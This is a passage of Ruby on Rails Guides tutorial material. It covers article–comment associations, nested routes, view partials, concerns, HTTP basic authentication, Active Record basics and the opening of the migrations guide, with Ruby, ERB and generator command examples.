8.2 Associating Models

Active Record associations let you easily declare the relationship between two models. In the case of comments and articles, you could write out the relationships this way:

Each comment belongs to one article.

One article can have many comments.

In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model (app/models/comment.rb) that makes each comment belong to an Article:

  class Comment < ApplicationRecord
  belongs_to :article
end

You'll need to edit app/models/article.rb to add the other side of the association:

  class Article < ApplicationRecord
  has_many :comments

  validates :title, presence: true
  validates :body, presence: true, length: { minimum: 10 }
end

These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable @article containing an article, you can retrieve all the comments belonging to that article as an array using @article.comments.

For more information on Active Record associations, see the Active Record Associations guide.

8.3 Adding a Route for Comments

As with the articles controller, we will need to add a route so that Rails knows where we would like to navigate to see comments. Open up the config/routes.rb file again, and edit it as follows:

  Rails.application.routes.draw do
  root "articles#index"

  resources :articles do
    resources :comments
  end
end

This creates comments as a nested resource within articles. This is another part of capturing the hierarchical relationship that exists between articles and comments.

For more information on routing, see the Rails Routing guide.

8.4 Generating a Controller

With the model in hand, you can turn your attention to creating a matching controller. Again, we'll use the same generator we used before:

  $ bin/rails generate controller Comments

This creates three files and one empty directory:

File/Directory | Purpose
app/controllers/comments_controller.rb | The Comments controller
app/views/comments/ | Views of the controller are stored here
test/controllers/comments_controller_test.rb | The test for the controller
app/helpers/comments_helper.rb | A view helper file

Like with any blog, our readers will create their comments directly after reading the article, and once they have added their comment, will be sent back to the article show page to see their comment now listed. Due to this, our CommentsController is there to provide a method to create comments and delete spam comments when they arrive.

So first, we'll wire up the Article show template (app/views/articles/show.html.erb) to let us make a new comment:

  <h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
  <li><%= link_to "Edit", edit_article_path(@article) %></li>
  <li><%= link_to "Destroy", article_path(@article), data: {
                    turbo_method: :delete,
                    turbo_confirm: "Are you sure?"
                  } %></li>
</ul>

<h2>Add a comment:</h2>
<%= form_with model: [ @article, @article.comments.build ] do |form| %>
  <p>
    <%= form.label :commenter %><br>
    <%= form.text_field :commenter %>
  </p>
  <p>
    <%= form.label :body %><br>
    <%= form.text_area :body %>
  </p>
  <p>
    <%= form.submit %>
  </p>
<% end %>

This adds a form on the Article show page that creates a new comment by calling the CommentsController create action. The form_with call here uses an array, which will build a nested route, such as /articles/1/comments.

Let's wire up the create in app/controllers/comments_controller.rb:

  class CommentsController < ApplicationController
  def create
    @article = Article.find(params[:article_id])
    @comment = @article.comments.create(comment_params)
    redirect_to article_path(@article)
  end

  private
    def comment_params
      params.require(:comment).permit(:commenter, :body)
    end
end

You'll see a bit more complexity here than you did in the controller for articles. That's a side-effect of the nesting that you've set up. Each request for a comment has to keep track of the article to which the comment is attached, thus the initial call to the find method of the Article model to get the article in question.

In addition, the code takes advantage of some of the methods available for an association. We use the create method on @article.comments to create and save the comment. This will automatically link the comment so that it belongs to that particular article.

Once we have made the new comment, we send the user back to the original article using the article_path(@article) helper. As we have already seen, this calls the show action of the ArticlesController which in turn renders the show.html.erb template. This is where we want the comment to show, so let's add that to the app/views/articles/show.html.erb.

  <h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
  <li><%= link_to "Edit", edit_article_path(@article) %></li>
  <li><%= link_to "Destroy", article_path(@article), data: {
                    turbo_method: :delete,
                    turbo_confirm: "Are you sure?"
                  } %></li>
</ul>

<h2>Comments</h2>
<% @article.comments.each do |comment| %>
  <p>
    <strong>Commenter:</strong>
    <%= comment.commenter %>
  </p>

  <p>
    <strong>Comment:</strong>
    <%= comment.body %>
  </p>
<% end %>

<h2>Add a comment:</h2>
<%= form_with model: [ @article, @article.comments.build ] do |form| %>
  <p>
    <%= form.label :commenter %><br>
    <%= form.text_field :commenter %>
  </p>
  <p>
    <%= form.label :body %><br>
    <%= form.text_area :body %>
  </p>
  <p>
    <%= form.submit %>
  </p>
<% end %>

Now you can add articles and comments to your blog and have them show up in the right places.

9 Refactoring

Now that we have articles and comments working, take a look at the app/views/articles/show.html.erb template. It is getting long and awkward. We can use partials to clean it up.

9.1 Rendering Partial Collections

First, we will make a comment partial to extract showing all the comments for the article. Create the file app/views/comments/_comment.html.erb and put the following into it:

  <p>
  <strong>Commenter:</strong>
  <%= comment.commenter %>
</p>

<p>
  <strong>Comment:</strong>
  <%= comment.body %>
</p>

Then you can change app/views/articles/show.html.erb to look like the following:

  <h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
  <li><%= link_to "Edit", edit_article_path(@article) %></li>
  <li><%= link_to "Destroy", article_path(@article), data: {
                    turbo_method: :delete,
                    turbo_confirm: "Are you sure?"
                  } %></li>
</ul>

<h2>Comments</h2>
<%= render @article.comments %>

<h2>Add a comment:</h2>
<%= form_with model: [ @article, @article.comments.build ] do |form| %>
  <p>
    <%= form.label :commenter %><br>
    <%= form.text_field :commenter %>
  </p>
  <p>
    <%= form.label :body %><br>
    <%= form.text_area :body %>
  </p>
  <p>
    <%= form.submit %>
  </p>
<% end %>

This will now render the partial in app/views/comments/_comment.html.erb once for each comment that is in the @article.comments collection. As the render method iterates over the @article.comments collection, it assigns each comment to a local variable named the same as the partial, in this case comment, which is then available in the partial for us to show.

9.2 Rendering a Partial Form

Let us also move that new comment section out to its own partial. Again, you create a file app/views/comments/_form.html.erb containing:

  <%= form_with model: [ @article, @article.comments.build ] do |form| %>
  <p>
    <%= form.label :commenter %><br>
    <%= form.text_field :commenter %>
  </p>
  <p>
    <%= form.label :body %><br>
    <%= form.text_area :body %>
  </p>
  <p>
    <%= form.submit %>
  </p>
<% end %>

Then you make the app/views/articles/show.html.erb look like the following:

  <h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
  <li><%= link_to "Edit", edit_article_path(@article) %></li>
  <li><%= link_to "Destroy", article_path(@article), data: {
                    turbo_method: :delete,
                    turbo_confirm: "Are you sure?"
                  } %></li>
</ul>

<h2>Comments</h2>
<%= render @article.comments %>

<h2>Add a comment:</h2>
<%= render 'comments/form' %>

The second render just defines the partial template we want to render, comments/form. Rails is smart enough to spot the forward slash in that string and realize that you want to render the _form.html.erb file in the app/views/comments directory.

The @article object is available to any partials rendered in the view because we defined it as an instance variable.

9.3 Using Concerns

Concerns are a way to make large controllers or models easier to understand and manage. This also has the advantage of reusability when multiple models (or controllers) share the same concerns. Concerns are implemented using modules that contain methods representing a well-defined slice of the functionality that a model or controller is responsible for. In other languages, modules are often known as mixins.

You can use concerns in your controller or model the same way you would use any module. When you first created your app with rails new blog, two folders were created within app/ along with the rest:

  app/controllers/concerns
app/models/concerns

In the example below, we will implement a new feature for our blog that would benefit from using a concern. Then, we will create a concern, and refactor the code to use it, making the code more DRY and maintainable.

A blog article might have various statuses - for instance, it might be visible to everyone (i.e. public), or only visible to the author (i.e. private). It may also be hidden to all but still retrievable (i.e. archived). Comments may similarly be hidden or visible. This could be represented using a status column in each model.

First, let's run the following migrations to add status to Articles and Comments:

  $ bin/rails generate migration AddStatusToArticles status:string
$ bin/rails generate migration AddStatusToComments status:string

And next, let's update the database with the generated migrations:

  $ bin/rails db:migrate

To learn more about migrations, see Active Record Migrations.

We also have to permit the :status key as part of the strong parameter, in app/controllers/articles_controller.rb:

    private
    def article_params
      params.require(:article).permit(:title, :body, :status)
    end

and in app/controllers/comments_controller.rb:

    private
    def comment_params
      params.require(:comment).permit(:commenter, :body, :status)
    end

Within the article model, after running a migration to add a status column using bin/rails db:migrate command, you would add:

  class Article < ApplicationRecord
  has_many :comments

  validates :title, presence: true
  validates :body, presence: true, length: { minimum: 10 }

  VALID_STATUSES = ['public', 'private', 'archived']

  validates :status, inclusion: { in: VALID_STATUSES }

  def archived?
    status == 'archived'
  end
end

and in the Comment model:

  class Comment < ApplicationRecord
  belongs_to :article

  VALID_STATUSES = ['public', 'private', 'archived']

  validates :status, inclusion: { in: VALID_STATUSES }

  def archived?
    status == 'archived'
  end
end

Then, in our index action template (app/views/articles/index.html.erb) we would use the archived? method to avoid displaying any article that is archived:

  <h1>Articles</h1>

<ul>
  <% @articles.each do |article| %>
    <% unless article.archived? %>
      <li>
        <%= link_to article.title, article %>
      </li>
    <% end %>
  <% end %>
</ul>

<%= link_to "New Article", new_article_path %>

Similarly, in our comment partial view (app/views/comments/_comment.html.erb) we would use the archived? method to avoid displaying any comment that is archived:

  <% unless comment.archived? %>
  <p>
    <strong>Commenter:</strong>
    <%= comment.commenter %>
  </p>

  <p>
    <strong>Comment:</strong>
    <%= comment.body %>
  </p>
<% end %>

However, if you look again at our models now, you can see that the logic is duplicated. If in the future we increase the functionality of our blog - to include private messages, for instance - we might find ourselves duplicating the logic yet again. This is where concerns come in handy.

A concern is only responsible for a focused subset of the model's responsibility; the methods in our concern will all be related to the visibility of a model. Let's call our new concern (module) Visible. We can create a new file inside app/models/concerns called visible.rb , and store all of the status methods that were duplicated in the models.

app/models/concerns/visible.rb

  module Visible
  def archived?
    status == 'archived'
  end
end

We can add our status validation to the concern, but this is slightly more complex as validations are methods called at the class level. The ActiveSupport::Concern (API Guide) gives us a simpler way to include them:

  module Visible
  extend ActiveSupport::Concern

  VALID_STATUSES = ['public', 'private', 'archived']

  included do
    validates :status, inclusion: { in: VALID_STATUSES }
  end

  def archived?
    status == 'archived'
  end
end

Now, we can remove the duplicated logic from each model and instead include our new Visible module:

In app/models/article.rb:

  class Article < ApplicationRecord
  include Visible

  has_many :comments

  validates :title, presence: true
  validates :body, presence: true, length: { minimum: 10 }
end

and in app/models/comment.rb:

  class Comment < ApplicationRecord
  include Visible

  belongs_to :article
end

Class methods can also be added to concerns. If we want to display a count of public articles or comments on our main page, we might add a class method to Visible as follows:

  module Visible
  extend ActiveSupport::Concern

  VALID_STATUSES = ['public', 'private', 'archived']

  included do
    validates :status, inclusion: { in: VALID_STATUSES }
  end

  class_methods do
    def public_count
      where(status: 'public').count
    end
  end

  def archived?
    status == 'archived'
  end
end

Then in the view, you can call it like any class method:

  <h1>Articles</h1>

Our blog has <%= Article.public_count %> articles and counting!

<ul>
  <% @articles.each do |article| %>
    <% unless article.archived? %>
      <li>
        <%= link_to article.title, article %>
      </li>
    <% end %>
  <% end %>
</ul>

<%= link_to "New Article", new_article_path %>

To finish up, we will add a select box to the forms, and let the user select the status when they create a new article or post a new comment. We can also specify the default status as public. In app/views/articles/_form.html.erb, we can add:

  <div>
  <%= form.label :status %><br>
  <%= form.select :status, ['public', 'private', 'archived'], selected: 'public' %>
</div>

and in app/views/comments/_form.html.erb:

  <p>
  <%= form.label :status %><br>
  <%= form.select :status, ['public', 'private', 'archived'], selected: 'public' %>
</p>

10 Deleting Comments

Another important feature of a blog is being able to delete spam comments. To do this, we need to implement a link of some sort in the view and a destroy action in the CommentsController.

So first, let's add the delete link in the app/views/comments/_comment.html.erb partial:

  <% unless comment.archived? %>
  <p>
    <strong>Commenter:</strong>
    <%= comment.commenter %>
  </p>

  <p>
    <strong>Comment:</strong>
    <%= comment.body %>
  </p>

  <p>
    <%= link_to "Destroy Comment", [comment.article, comment], data: {
                  turbo_method: :delete,
                  turbo_confirm: "Are you sure?"
                } %>
  </p>
<% end %>

Clicking this new "Destroy Comment" link will fire off a DELETE /articles/:article_id/comments/:id to our CommentsController, which can then use this to find the comment we want to delete, so let's add a destroy action to our controller (app/controllers/comments_controller.rb):

  class CommentsController < ApplicationController
  def create
    @article = Article.find(params[:article_id])
    @comment = @article.comments.create(comment_params)
    redirect_to article_path(@article)
  end

  def destroy
    @article = Article.find(params[:article_id])
    @comment = @article.comments.find(params[:id])
    @comment.destroy
    redirect_to article_path(@article), status: :see_other
  end

  private
    def comment_params
      params.require(:comment).permit(:commenter, :body, :status)
    end
end

The destroy action will find the article we are looking at, locate the comment within the @article.comments collection, and then remove it from the database and send us back to the show action for the article.

10.1 Deleting Associated Objects

If you delete an article, its associated comments will also need to be deleted, otherwise they would simply occupy space in the database. Rails allows you to use the dependent option of an association to achieve this. Modify the Article model, app/models/article.rb, as follows:

  class Article < ApplicationRecord
  include Visible

  has_many :comments, dependent: :destroy

  validates :title, presence: true
  validates :body, presence: true, length: { minimum: 10 }
end

11 Security

11.1 Basic Authentication

If you were to publish your blog online, anyone would be able to add, edit and delete articles or delete comments.

Rails provides an HTTP authentication system that will work nicely in this situation.

In the ArticlesController we need to have a way to block access to the various actions if the person is not authenticated. Here we can use the Rails http_basic_authenticate_with method, which allows access to the requested action if that method allows it.

To use the authentication system, we specify it at the top of our ArticlesController in app/controllers/articles_controller.rb. In our case, we want the user to be authenticated on every action except index and show, so we write that:

  class ArticlesController < ApplicationController

  http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]

  def index
    @articles = Article.all
  end

  # snippet for brevity

We also want to allow only authenticated users to delete comments, so in the CommentsController (app/controllers/comments_controller.rb) we write:

  class CommentsController < ApplicationController

  http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy

  def create
    @article = Article.find(params[:article_id])
    # ...
  end

  # snippet for brevity

Now if you try to create a new article, you will be greeted with a basic HTTP Authentication challenge:

After entering the correct username and password, you will remain authenticated until a different username and password is required or the browser is closed.

Other authentication methods are available for Rails applications. Two popular authentication add-ons for Rails are the Devise rails engine and the Authlogic gem, along with a number of others.

11.2 Other Security Considerations

Security, especially in web applications, is a broad and detailed area. Security in your Rails application is covered in more depth in the Ruby on Rails Security Guide.

12 What's Next?

Now that you've seen your first Rails application, you should feel free to update it and experiment on your own.

Remember, you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:

The Ruby on Rails Guides

The Ruby on Rails mailing list

13 Configuration Gotchas

The easiest way to work with Rails is to store all external data as UTF-8. If you don't, Ruby libraries and Rails will often be able to convert your native data into UTF-8, but this doesn't always work reliably, so you're better off ensuring that all external data is UTF-8.

If you have made a mistake in this area, the most common symptom is a black diamond with a question mark inside appearing in the browser. Another common symptom is characters like "Ã¼" appearing instead of "ü". Rails takes a number of internal steps to mitigate common causes of these problems that can be automatically detected and corrected. However, if you have external data that is not stored as UTF-8, it can occasionally result in these kinds of issues that cannot be automatically detected by Rails and corrected.

Two very common sources of data that are not UTF-8:

Your text editor: Most text editors (such as TextMate), default to saving files as UTF-8. If your text editor does not, this can result in special characters that you enter in your templates (such as é) to appear as a diamond with a question mark inside in the browser. This also applies to your i18n translation files. Most editors that do not already default to UTF-8 (such as some versions of Dreamweaver) offer a way to change the default to UTF-8. Do so.

Your database: Rails defaults to converting data from your database into UTF-8 at the boundary. However, if your database is not using UTF-8 internally, it may not be able to store all characters that your users enter. For instance, if your database is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese character, the data will be lost forever once it enters the database. If possible, use UTF-8 as the internal storage of your database.

Active Record Basics

This guide is an introduction to Active Record.

After reading this guide, you will know:

What Object Relational Mapping and Active Record are and how they are used in Rails.

How Active Record fits into the Model-View-Controller paradigm.

How to use Active Record models to manipulate data stored in a relational database.

Active Record schema naming conventions.

The concepts of database migrations, validations, and callbacks.

Chapters

What is Active Record?

The Active Record Pattern

Object Relational Mapping

Active Record as an ORM Framework

Convention over Configuration in Active Record

Naming Conventions

Schema Conventions

Creating Active Record Models

Overriding the Naming Conventions

CRUD: Reading and Writing Data

Create

Read

Update

Delete

Validations

Callbacks

Migrations

1 What is Active Record?

Active Record is the M in MVC - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.

1.1 The Active Record Pattern

Active Record was described by Martin Fowler in his book Patterns of Enterprise Application Architecture. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic as part of the object will educate users of that object on how to write to and read from the database.

1.2 Object Relational Mapping

Object Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code.

Basic knowledge of relational database management systems (RDBMS) and structured query language (SQL) is helpful in order to fully understand Active Record. Please refer to this tutorial (or this one) or study them by other means if you would like to learn more.

1.3 Active Record as an ORM Framework

Active Record gives us several mechanisms, the most important being the ability to:

Represent models and their data.

Represent associations between these models.

Represent inheritance hierarchies through related models.

Validate models before they get persisted to the database.

Perform database operations in an object-oriented fashion.

2 Convention over Configuration in Active Record

When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some cases no configuration at all) when creating Active Record models. The idea is that if you configure your applications in the very same way most of the time then this should be the default way. Thus, explicit configuration would be needed only in those cases where you can't follow the standard convention.

2.1 Naming Conventions

By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class Book, you should have a database table called books. The Rails pluralization mechanisms are very powerful, being capable of pluralizing (and singularizing) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must use the snake_case form. Examples:

Model Class - Singular with the first letter of each word capitalized (e.g., BookClub).

Database Table - Plural with underscores separating words (e.g., book_clubs).

Model / Class | Table / Schema
Article | articles
LineItem | line_items
Deer | deers
Mouse | mice
Person | people

2.2 Schema Conventions

Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.

Foreign keys - These fields should be named following the pattern singularized_table_name_id (e.g., item_id, order_id). These are the fields that Active Record will look for when you create associations between your models.

Primary keys - By default, Active Record will use an integer column named id as the table's primary key (bigint for PostgreSQL and MySQL, integer for SQLite). When using Active Record Migrations to create your tables, this column will be automatically created.

There are also some optional column names that will add additional features to Active Record instances:

created_at - Automatically gets set to the current date and time when the record is first created.

updated_at - Automatically gets set to the current date and time whenever the record is created or updated.

lock_version - Adds optimistic locking to a model.

type - Specifies that the model uses Single Table Inheritance.

(association_name)_type - Stores the type for polymorphic associations.

(table_name)_count - Used to cache the number of belonging objects on associations. For example, a comments_count column in an Article class that has many instances of Comment will cache the number of existent comments for each article.

While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, type is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.

3 Creating Active Record Models

To create Active Record models, subclass the ApplicationRecord class and you're good to go:

  class Product < ApplicationRecord
end

This will create a Product model, mapped to a products table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the products table was created using an SQL (or one of its extensions) statement like:

  CREATE TABLE products (
  id int(11) NOT NULL auto_increment,
  name varchar(255),
  PRIMARY KEY  (id)
);

The schema above declares a table with two columns: id and name. Each row of this table represents a certain product with these two parameters. Thus, you would be able to write code like the following:

  p = Product.new
p.name = "Some Book"
puts p.name # "Some Book"

4 Overriding the Naming Conventions

What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.

ApplicationRecord inherits from ActiveRecord::Base, which defines a number of helpful methods. You can use the ActiveRecord::Base.table_name= method to specify the table name that should be used:

  class Product < ApplicationRecord
  self.table_name = "my_products"
end

If you do so, you will have to define manually the class name that is hosting the fixtures (my_products.yml) using the set_fixture_class method in your test definition:

  class ProductTest < ActiveSupport::TestCase
  set_fixture_class my_products: Product
  fixtures :my_products
  # ...
end

It's also possible to override the column that should be used as the table's primary key using the ActiveRecord::Base.primary_key= method:

  class Product < ApplicationRecord
  self.primary_key = "product_id"
end

Active Record does not support using non-primary key columns named id.

5 CRUD: Reading and Writing Data

CRUD is an acronym for the four verbs we use to operate on data: Create, Read, Update and Delete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.

5.1 Create

Active Record objects can be created from a hash, a block, or have their attributes manually set after creation. The new method will return a new object while create will return the object and save it to the database.

For example, given a model User with attributes of name and occupation, the create method call will create and save a new record into the database:

  user = User.create(name: "David", occupation: "Code Artist")

Using the new method, an object can be instantiated without being saved:

  user = User.new
user.name = "David"
user.occupation = "Code Artist"

A call to user.save will commit the record to the database.

Finally, if a block is provided, both create and new will yield the new object to that block for initialization:

  user = User.new do |u|
  u.name = "David"
  u.occupation = "Code Artist"
end

5.2 Read

Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.

  # return a collection with all users
users = User.all

  # return the first user
user = User.first

  # return the first user named David
david = User.find_by(name: 'David')

  # find all users named David who are Code Artists and sort by created_at in reverse chronological order
users = User.where(name: 'David', occupation: 'Code Artist').order(created_at: :desc)

You can learn more about querying an Active Record model in the Active Record Query Interface guide.

5.3 Update

Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.

  user = User.find_by(name: 'David')
user.name = 'Dave'
user.save

A shorthand for this is to use a hash mapping attribute names to the desired value, like so:

  user = User.find_by(name: 'David')
user.update(name: 'Dave')

This is most useful when updating several attributes at once. If, on the other hand, you'd like to update several records in bulk, you may find the update_all class method useful:

  User.update_all "max_login_attempts = 3, must_change_password = 'true'"

This is the same as if you wrote:

  User.update(:all, max_login_attempts: 3, must_change_password: true)

5.4 Delete

Likewise, once retrieved, an Active Record object can be destroyed, which removes it from the database.

  user = User.find_by(name: 'David')
user.destroy

If you'd like to delete several records in bulk, you may use destroy_by or destroy_all method:

  # find and delete all users named David
User.destroy_by(name: 'David')

# delete all users
User.destroy_all

6 Validations

Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format, and many more.

Validation is a very important issue to consider when persisting to the database, so the methods save and update take it into account when running: they return false when validation fails and they don't actually perform any operations on the database. All of these have a bang counterpart (that is, save! and update!), which are stricter in that they raise the exception ActiveRecord::RecordInvalid if validation fails. A quick example to illustrate:

  class User < ApplicationRecord
  validates :name, presence: true
end

  irb> user = User.new
irb> user.save
=> false
irb> user.save!
ActiveRecord::RecordInvalid: Validation failed: Name can't be blank

You can learn more about validations in the Active Record Validations guide.

7 Callbacks

Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it, and so on. You can learn more about callbacks in the Active Record Callbacks guide.

8 Migrations

Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record supports using rake. Here's a migration that creates a table:

  class CreatePublications < ActiveRecord::Migration[7.0]
  def change
    create_table :publications do |t|
      t.string :title
      t.text :description
      t.references :publication_type
      t.references :publisher, polymorphic: true
      t.boolean :single_issue

      t.timestamps
    end
  end
end

Rails keeps track of which files have been committed to the database and provides rollback features. To actually create the table, you'd run bin/rails db:migrate, and to roll it back, bin/rails db:rollback.

Note that the above code is database-agnostic: it will run in MySQL, PostgreSQL, Oracle, and others. You can learn more about migrations in the Active Record Migrations guide.

Active Record Migrations

Migrations are a feature of Active Record that allows you to evolve your database schema over time. Rather than write schema modifications in pure SQL, migrations allow you to use a Ruby DSL to describe changes to your tables.

After reading this guide, you will know:

The generators you can use to create them.

The methods Active Record provides to manipulate your database.

The rails commands that manipulate migrations and your schema.

How migrations relate to schema.rb.

Chapters

Migration Overview

Creating a Migration

Creating a Standalone Migration

Model Generators

Passing Modifiers

Writing a Migration

Creating a Table

Creating a Join Table

Changing Tables

Changing Columns

Column Modifiers

References

Foreign Keys

When Helpers aren't Enough

Using the change Method

Using reversible

Using the up/down Methods

Reverting Previous Migrations

Running Migrations

Rolling Back

Setup the Database

Resetting the Database

Running Specific Migrations

Running Migrations in Different Environments

Changing the Output of Running Migrations

Changing Existing Migrations

Schema Dumping and You

What are Schema Files for?

Types of Schema Dumps

Schema Dumps and Source Control

Active Record and Referential Integrity

Migrations and Seed Data

Old Migrations

1 Migration Overview

Migrations are a convenient way to alter your database schema over time in a consistent way. They use a Ruby DSL so that you don't have to write SQL by hand, allowing your schema and changes to be database independent.

You can think of each migration as being a new 'version' of the database. A schema starts off with nothing in it, and each migration modifies it to add or remove tables, columns, or entries. Active Record knows how to update your schema along this timeline, bringing it from whatever point it is in the history to the latest version. Active Record will also update your db/schema.rb file to match the up-to-date structure of your database.

Here's an example of a migration:

  class CreateProducts < ActiveRecord::Migration[7.0]
  def change
    create_table :products do |t|
      t.string :name
      t.text :description

      t.timestamps
    end
  end
end

This migration adds a table called products with a string column called name and a text column called description. A primary key column called id will also be added implicitly, as it's the default primary key for all Active Record models. The timestamps macro adds two columns, created_at and updated_at. These special columns are automatically managed by Active Record if they exist.

Note that we define the change that we want to happen moving forward in time. Before this migration is run, there will be no table. After, the table will exist. Active Record knows how to reverse this migration as well: if we roll this migration back, it will remove the table.

On databases that support transactions with statements that change the schema, migrations are wrapped in a transaction. If the database does not support this then when a migration fails the parts of it that succeeded will not be rolled back. You will have to rollback the changes that were made by hand.

There are certain queries that can't run inside a transaction. If your adapter supports DDL transactions you can use disable_ddl_transaction! to disable them for a single migration.

If you wish for a migration to do something that Active Record doesn't know how to reverse, you can use reversible:

  class ChangeProductsPrice < ActiveRecord::Migration[7.0]
  def change
    reversible do |direction|
      change_table :products do |t|
        direction.up   { t.change :price, :string }
        direction.down { t.change :price, :integer }
      end
    end
  end
end

Alternatively, you can use up and down instead of change:

  class ChangeProductsPrice < ActiveRecord::Migration[7.0]
  def up
    change_table :products do |t|
      t.change :price, :string
    end
  end

  def down
    change_table :products do |t|
      t.change :price, :integer
    end
  end
end

2 Creating a Migration

2.1 Creating a Standalone Migration

Migrations are stored as files in the db/migrate directory, one for each migration class. The name of the file is of the form YYYYMMDDHHMMSS_create_products.rb, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example 20080906120000_create_products.rb should define class CreateProducts and 20080906120001_add_details_to_products.rb should define AddDetailsToProducts. Rails uses this timestamp to determine which migration should be run and in what order, so if you're copying a migration from another application or generate a file yourself, be aware of its position in the order.

Of course, calculating timestamps is no fun, so Active Record provides a generator to handle making it for you:

  $ bin/rails generate migration AddPartNumberToProducts

This will create an appropriately named empty migration:

  class AddPartNumberToProducts < ActiveRecord::Migration[7.0]
  def change
  end
end

This generator can do much more than prepend a timestamp to the file name. Based on naming conventions and additional (optional) arguments it can also start fleshing out the migration.

If the migration name is of the form "AddColumnToTable" or "RemoveColumnFromTable" and is followed by a list of column names and types then a migration containing the appropriate add_column and remove_column statements will be created.

  $ bin/rails generate migration AddPartNumberToProducts part_number:string

will generate

  class AddPartNumberToProducts < ActiveRecord::Migration[7.0]
  def change
    add_column :products, :part_number, :string
  end
end

If you'd like to add an index on the new column, you can do that as well.

  $ bin/rails generate migration AddPartNumberToProducts part_number:string:index

will generate the appropriate add_column and add_index statements:

  class AddPartNumberToProducts < ActiveRecord::Migration[7.0]
  def change
    add_column :products, :part_number, :string
    add_index :products, :part_number
  end
end

Similarly, you can generate a migration to remove a column from the command line:

  $ bin/rails generate migration RemovePartNumberFromProducts part_number:string

generates

  class RemovePartNumberFromProducts < ActiveRecord::Migration[7.0]
  def change
    remove_column :products, :part_number, :string
  end
end

You are not limited to one magically generated column. For example:

  $ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal

generates

  class AddDetailsToProducts < ActiveRecord::Migration[7.0]
  def change
    add_column :products, :part_number, :string
    add_column :products, :price, :decimal
  end
end

If the migration name is of the form "CreateXXX" and is followed by a list of column names and types then a migration creating the table XXX with the columns listed will be generated. For example:

  $ bin/rails generate migration CreateProducts name:string part_number:string

generates

  class CreateProducts < ActiveRecord::Migration[7.0]
  def change
    create_table :products do |t|
      t.string :name
      t.string :part_number

      t.timestamps
    end
  end
end

As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit by editing the db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb file.

Also, the generator accepts column type as references (also available as belongs_to). For example,

  $ bin/rails generate migration AddUserRefToProducts user:references

generates the following add_reference call:

  class AddUserRefToProducts < ActiveRecord::Migration[7.0]
  def change
    add_reference :products, :user, foreign_key: true
  end
end

This migration will create a user_id column. References are a shorthand for creating columns, indexes, foreign keys, or even polymorphic association columns.

There is also a generator which will produce join tables if JoinTable is part of the name:

  $ bin/rails generate migration CreateJoinTableCustomerProduct customer product

will produce the following migration:

  class CreateJoinTableCustomerProduct < ActiveRecord::Migration[7.0]
  def change
    create_join_table :customers, :products do |t|
      # t.index [:customer_id, :product_id]
      # t.index [:product_id, :customer_id]
    end
  end
end

2.2 Model Generators

The model, resource, and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running:

  $ bin/rails generate model Product name:string description:text

will create a migration that looks like this

  class CreateProducts < ActiveRecord::Migration[7.0]
  def change
    create_table :products do |t|
      t.string :name
      t.text :description

      t.timestamps
    end
  end
end

You can append as many column name/type pairs as you want.

2.3 Passing Modifiers

Some commonly used type modifiers can be passed directly on the command line. They are enclosed by curly braces and follow the field type:

For instance, running:

  $ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}

will produce a migration that looks like this

  class AddDetailsToProducts < ActiveRecord::Migration[7.0]
  def change
    add_column :products, :price, :decimal, precision: 5, scale: 2
    add_reference :products, :supplier, polymorphic: true
  end
end

Have a look at the generators help output for further details.

3 Writing a Migration

Once you have created your migration using one of the generators it's time to get to work!

3.1 Creating a Table

The create_table method is one of the most fundamental, but most of the time, will be generated for you from using a model, resource, or scaffold generator. A typical use would be

  create_table :products do |t|
  t.string :name
end

which creates a products table with a column called name.

By default, create_table will create a primary key called id. You can change the name of the primary key with the :primary_key option or, if you don't want a primary key at all, you can pass the option id: false. If you need to pass database specific options you can place an SQL fragment in the :options option. For example:

  create_table :products, options: "ENGINE=BLACKHOLE" do |t|
  t.string :name, null: false
end

will append ENGINE=BLACKHOLE to the SQL statement used to create the table.

An index can be created on the columns created within the create_table block by passing true or an options hash to the :index option:

